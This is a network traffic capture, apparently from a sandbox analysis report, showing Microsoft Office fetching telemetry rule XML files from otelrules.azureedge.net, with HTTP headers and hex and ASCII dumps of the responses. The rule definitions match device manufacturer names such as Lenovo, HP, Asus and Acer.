2024-11-23 14:37:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:25 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2bdd5943-e01e-0052-493a-3dd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143725Z-178bfbc474bxkclvhC1NYC69g400000004d000000000h91s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:26 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:25 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:25 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8ba1439f-101e-000b-574d-3c5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143725Z-174c587ffdf4zw2thC1TEBu340000000034g00000000au9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:26 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:27 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 657d02d2-201e-0033-2f57-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143728Z-178bfbc474bmqmgjhC1NYCy16c00000004qg00000000790c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:27 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 17c3c293-501e-00a3-6567-3bc0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143728Z-178bfbc474bq2pr7hC1NYCkfgg00000004q000000000ck66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:27 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143728Z-178bfbc474bp8mkvhC1NYCzqnn00000004g0000000004fs7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:27 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:28 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 81892826-901e-00ac-7050-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143728Z-15b8b599d88wn9hhhC1TEBry0g000000034g0000000081g6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:28 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:27 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:28 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: b056c714-b01e-001e-5ea2-3d0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143728Z-15b8b599d88tr2flhC1TEB5gk40000000380000000004p8k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:28 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:30 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 239436ba-d01e-0028-7bd5-3b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143730Z-15b8b599d88z9sc7hC1TEBkr4w000000039g0000000016py x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:30 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:30 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143730Z-178bfbc474bw8bwphC1NYC38b400000004e0000000009nb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:30 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 4e7b5ce8-701e-0098-117a-3b395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143730Z-178bfbc474b9xljthC1NYCtw9400000004gg000000009mdg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:30 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143730Z-178bfbc474bwh9gmhC1NYCy3rs00000004m000000000g3c8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:30 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: ad60cd0f-c01e-008e-6f6a-3c7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143730Z-174c587ffdfcb7qhhC1TEB3x70000000036g000000004fr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
